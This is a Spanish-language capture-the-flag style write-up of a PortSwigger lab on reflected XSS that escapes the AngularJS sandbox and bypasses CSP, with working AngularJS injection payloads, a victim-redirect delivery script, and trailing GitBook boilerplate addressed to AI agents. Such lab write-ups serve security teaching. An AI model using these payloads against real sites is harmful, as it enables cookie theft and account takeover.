> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/angularjs-sandbox-escape-with-csp.md).

# Escape de la sandbox de AngularJS con CSP

### XSS reflejado con escape del sandbox de AngularJS y CSP

Lleva a cabo un ataque de cross-site scripting reflejado que elude la Política de Seguridad de Contenido, escapa del sandbox de AngularJS y se ejecuta `alert(document.cookie)`.

**Comentarios**/ El sitio utiliza una política CSP que impide la ejecución de scripts desde un dominio externo:

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/9f756d4a466beda3144f9cd36a2ebd34ea81af05" alt=""><figcaption></figcaption></figure>

Al consultar la hoja de trucos de PortSwigger, identificamos un vector funcional de AngularJS que fuerza la evaluación mediante un `orderBy` filtro aplicado al `$event.composedPath()` evento.

<figure><img src="/files/862a07256b2a38aff0cbaba7217772215d3e64be" alt=""><figcaption></figcaption></figure>

* Para desencadenar una alerta:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/ec26dcfe8c4522f5027ce44a303d549950e0c233" alt=""><figcaption></figcaption></figure>

* Para mostrar el valor de `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

Ejemplo de URL construida para entregar la carga útil y forzar su ejecución en el lado de la víctima:

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/eaed77ca60d863eb06af4731df3118eb69d4bb4a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/angularjs-sandbox-escape-with-csp.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
